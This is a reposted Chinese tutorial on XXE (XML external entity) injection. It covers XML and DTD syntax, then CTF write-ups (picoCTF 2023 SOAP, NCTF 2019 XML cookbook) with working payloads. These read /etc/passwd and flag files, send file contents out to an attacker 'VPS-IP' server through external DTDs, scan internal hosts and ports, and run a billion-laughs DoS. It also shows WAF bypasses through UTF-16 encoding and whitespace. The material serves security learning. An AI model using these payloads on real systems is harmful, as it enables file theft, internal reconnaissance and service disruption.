转于:Evi1s7 衡阳信安 2023-03-30 09:21 发表于湖南
XXE漏洞1.概念 XXE(XML External Entity Injection) 全称为 XML 外部实体注入 2.语法 XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 被设计为传输和存储数据,其焦点是数据的内容
XML 被设计用来结构化、存储以及传输信息
XML 允许创作者定义自己的标签和自己的文档结构3.结构 1.XML 文档声明,在文档的第一行
2.XML 文档类型定义,即DTD,XXE 漏洞所在的地方
3.XML 文档元素4.介绍一下XML文档 <?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!--第一行是XML声明-->
<!--这是XML处理指令的例子。处理指令以<?开始,以?>结束-->
<!--在<?后的第一个单词是处理指令名,在本例中是xml-->
<!--处理指令一定要顶格写,前面不能有任何空白-->
<students>
<GREETING><!--开始标记-->
Hello World<!--元素内容-->
</GREETING><!--结束标记-->
<student gender="male" isHandsome="true">
<id>001</id>
<name>zhangsan</name>
<address>Beijing</address>
<score>50</score>
</student>
<student gender="female">
<id>002</id>
<name>lisi</name>
<address>北京</address>
<score/><!--为空的简写形式-->
</student>
</students>注: 文档注释用包围,不允许嵌套,允许多行注释。 XML里面的元素严格区分大小写。 XML文档必须有且只有一个根元素。(根元素是一个完全包括文档中其他所有元素的元素。) 0x01:XML文档说明 每一个XML文档都以一个XML声明开始,用以指明所用的XML的版本。 XML声明有version 、encoding和standalone特性。 version特性表明这个文档符合XML 1.0规范。 encoding 属性指定了编码格式,默认情况下是utf-8,这个属性要放在属性前面。 像standalone是XML文档的属性,位于等号左边的是特姓名,而其值位于等号的右边,并用双引号或单引号括起来。 自定义的元素也可以有一个或多个属性,其属性值使用单引号或者双引号括起来。 如果属性值中有双引号则使用单引号,反之亦然。 属性的形式为: 属性名= "属性值",比如gender="male"。 多个属性值之间用空格隔开(一个或多个空格都可以)。 在一个元素上,相同的属性只能出现一次。 属性值不能包含<, >, &。 0x02:实体 实体叫ENTITY,实体的作用是避免重复输入。 在XML中,有5个预定义的实体引用 自定义实体语法: <!DOCTYPE 根元素[
<!ENTITY 实体名 "实体内容">
]>
引用已定义的实体:
&实体名;0x03:处理指令PI 处理指令用于XML解析器传递信息到应用程序。 语法:<?目标 指令?> PI必须以一个叫做目标的标识符开头,这个标识符遵从如同元素和属性一样的规则,目标是指令所指向的应用的名称,指令是传递给应用程序的信息。 0x04:CDATA节 用于把整段文本解释为纯字符数据而不是标记的情况。 包含大量的<、>、&、或者"字符。CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是XML标记。 语法: <![CDATA[
......
]]> 可以输入任意字符(除]]外),不能嵌套。 <?xml version="1.0" encoding="utf-8"?>
<root>
<![CDATA[
<hello>
<world>
这里放任何内容都是合法的
]]>
<subRoot>
</subRoot>
</root>0x05CDATA节 PCDATA表示已解析的字符数据。 PCDATA 的意思是被解析的字符数据(parsed character data)。可以把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。但是,被解析的字符数据不应当包含任何 & < > 字符;需要使用 & < > 实体来分别替换它们。 5.什么是DTD DTD是XML文档的一个格式规范 exp: <?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
<!DOCTYPE message [
#这个就是定义了一个根元素message
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
#这里就是为根元素message定义了4个子元素,receiver,sender,header,msg,然后这4个元素必须要出现而且要按照顺序6.DTD的三种应用形式: 1.内部DTD文档 <!DOCTYPE 根元素[定义内容]>
exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT data (aaa,bbb,ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>2.外部DTD文档 <!DOCTYPE 根元素 SYSTEM "DTD文件路径">exp:外部的DTD文档<?xml version="1.0" encoding="UTF-8"?><!ELEMENT data (aaa, bbb, ccc)><!ELEMENT aaa (#PCDATA)><!ELEMENT bbb (#PCDATA)><!ELEMENT ccc (#PCDATA)><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data SYSTEM "data.dtd"><data> <aaa>1<aaa> <bbb>2<bbb> <ccc>3<ccc></data>3.内外部DTD文档结合 <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>exp:<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data SYSTEM "data.dtd" [<?xml version="1.0" encoding="UTF-8"?><!ELEMENT data (aaa, bbb, ccc)><!ELEMENT aaa (#PCDATA)><!ELEMENT bbb (#PCDATA)><!ELEMENT ccc (#PCDATA)>]>7.DTD元素 8.DTD实体 内部实体 <!ENTITY 实体名称 "实体的值">一个实体由三部分构成: &符号, 一个实体名称, 以及一个分号 (;) exp:<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe "hello">]><foo>&xxe;</foo>这里定义的实体是xxe,实体的值是hello外部实体 <!ENTITY 实体名称 SYSTEM "URL">XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议 file:///path/to/file.exthttp://url/file.extphp://filter/read=convert.base64-encode/resource=conf.php<!ENTITY %实体名称 "值"><!ENTITY %实体名称 SYSTEM "URL">exp:<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >%xxe;]><foo>&evil;</foo>外部evil.dtd的内容<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >公共实体 <!ENTITY 实体名称 PUBLIC "public_ID" "URI">9.利用XXE攻击 读取任意文件 有回显 我们结合具体题目来分析 例题: 1.picoctf2023 SOAP 题目提示我们要看系统配置文件/etc/passwd 有三个按钮,都点了一下没有东西 看一下源码,源码有一个xml的js文件看一下 window.contentType = 'application/xml';function payload(data) { var xml = '<?xml version="1.0" encoding="UTF-8"?>'; xml += '<data>'; for(var pair of data.entries()) { var key = pair[0]; var value = pair[1]; xml += '<' + key + '>' + value + '</' + key + '>'; } xml += '</data>'; return xml;}这里有一个XML文档说明 以及说明了XML的根元素为data 抓一下包看一下 这里POST了一个ID的变量,我这里猜测ID就是key(题目的DTD感觉缺失了一些东西) 构造我们的payload <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd"]><data> <ID> 2&xxe; </ID></data>发现无回显,继续检查一下,发现我们这里的Content-Type为application/x-www-form-urlencoded,这就是问题所在 改为application/xml,发现成功得到flag 2.[NCTF 2019]Fake XML cookbook 随便测试一下,发现通过报错信息回显 查看一下源码 function doLogin(){ var username = $("#username").val(); var password = $("#password").val(); if(username == "" || password == ""){ alert("lease enter the username and password!"); return; } var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({ type: "OST", url: "doLogin.php", contentType: "application/xml;charset=utf-8", data: data, dataType: "xml", anysc: false, success: function (result) { var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue; var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue; if(code == "0"){ $(".msg").text(msg + " login fail!"); }else if(code == "1"){ $(".msg").text(msg + " login success!"); }else{ $(".msg").text("error:" + msg); } }, error: function (XMLHttpRequest,textStatus,errorThrown) { $(".msg").text(errorThrown + ':' + textStatus); }这里给出了我们DTD,我们根据DTD进行构造payload即可 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ #根据给出的DTD,可知根元素是data<!ENTITY xxe SYSTEM "file:///etc/passwd"> #尝试读取系统配置文件]><user> <username>2&xxe;</username> <password>11</password></user>成功回显 尝试直接读取flag <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///flag">]><user> <username>2&xxe;</username> <password>11</password></user>3.[NCTF 2019]True XML cookbook 跟上一道题的源码一样,尝试沿用上题的payload发现不能直接获取flag了,尝试利用XXE进行RCE,发现应该是php没有装有expect扩展,无法实现RCE 就感觉有可能是内网探测 利用/proc/net/arp读取到内网的另一台服务器的IP地址172.18.0.1 尝试爆破端口,我爆破到10000多也没有什么信息, 之后查看内网存活主机/etc/hosts 发现有一台存活主机 直接访问发现不行,就利用BP爆破跑内网存活主机,跑出flag 无回显 也就是我们的blind xxe,一般没有echo,return这些函数,返回不了数值 (需要在自己的VPS上配置上http服务,可以从公网访问我们的dtd文件和xml文件) 方案一: 在自己的VPS上创建一个test.php <?php file_put_contents("test.txt", $_GET['file']) ; ?>再创建一个index.php <?php $xml=<<<EOF <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/test.txt"> <!ENTITY % remote SYSTEM "http://VPS-IP/test.xml"> %remote;%all;%send; ]> EOF; $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r($data) ; ?>再创建一个test.xml <!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps-ip/test.php?file=%file;'>">方案二 可以将文件内容发送到远程服务器,然后读取。 exp:<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [<!ENTITY % file SYSTEM "file:///c://test/1.txt"><!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %all; ]> <value>&send;</value>然后在自己的VPS上创建一个evil.xml,内容为 <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">用来获取用户的配置文件 方案三 可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)vps-ip. exp:<?xml verstion="1.0" encoding="utf-8"?><!DOCTYPE ANY [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./aaa.php"> # /etc/issue<!ENTITY % dtd SYSTEM "http://VPS-IP/evil.dtd">%dtd;%send;]>evil.dtd的内容,内部的%号要进行实体编码成%。下面是具体的代码实现 <!ENTITY % all“<!ENTITY % send SYSTEM ‘http://VPS-IP/?%file;’>”>%all;如果有报错的话直接查看VPS的报错信息能得到aaa.php的base64编码后的结果 没有的话可以查看VPS的日志信息,能看到经过base64编码后的数据 方案四 其实跟方案四差不多,但是可以利用监听VPS端口来获取信息 方法是在自己的VPS上创建一个evil.dtd exp:<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://VPS-IP:3333/%file;'> ">%dtd;%xxe;之后再根据题目的要求,上传一个payload exp:<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % aaa SYSTEM "http://VPS-IP/evil.dtd">%aaa;]><root>66666</root>之后在自己的VPS上监听3333端口就行 python -m http.server 3333#前提是自己的VPS需要配置好http服务命令执行 在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除有幸运的情况咯,这里就搬一下大师傅的代码以供参考: <?php $xml = <<<EOF<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls">]><x>&f;</x>EOF;$data = simplexml_load_string($xml);print_r($data);?>探测端口 适用于有回显和blind xxe,是外部一般实体 exp:<?xml version="1.0"?><!DOCTYPE ANY [ <!ENTITY contentSYSTEM "http://10.165.89.150:88">]><name>&content;</name>根据响应时间判断:(看BP右下角的响应时间) 开放端口,响应时间为16millis 未开放端口,延迟反应1047millis 内网存活主机扫描 跟探测端口类似,只不过我们这里是通过文件读取,先查看有没有存活的内网服务器,然后利用BP进行目录遍历爆破IP exp:<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><user> <username>2&xxe;</username> <password>11</password></user>exp:<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note [<!ENTITY admin SYSTEM "http://10.0.86.10">]><user><username>&admin;</username><password>123456</password></user>DOS攻击 <?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>XML解析器尝试解析该文件时,由于DTD的定义指数级展开(即递归引用),举个例子,这里定义了一个lol的实体,实体还有“lol”的字符串,然后定义了一个lol2的实体,里面有10个"lol"的字符串,依次递推,一个lol3实体引用10个lol2实体,这样的话可以一直向服务器传输文件,也就是形成了DOS攻击,经过XML解析器解析后的内存占用会比其本身大的多。 10.对于waf以及正则匹配的绕过 编码绕过 对于一些CTF的题目,会对SYSTEM等关键词进行过滤,我们可以利用UTF-16等转码后进行绕过 可以利用linux中的命令iconv iconv -f utf8 -t utf16 1.xml>test.xmliconv -f #指定待转换文件的编码iconv -t #制定目标编码空格绕过 XML文档有一个特性,在设置标签属性的格式时可以运用多个空格,所以我们可以在XML声明,定义实体的地方利用足够多的空格来进行绕过 exp:
<?xml
version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>参考XML外部实体注入 - 先知社区 (aliyun.com) 一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com) 十亿笑攻击 - 维基百科 (wikipedia.org) 来源:先知社区的【*Evi1s7* 】师傅 注:如有侵权请联系删除
|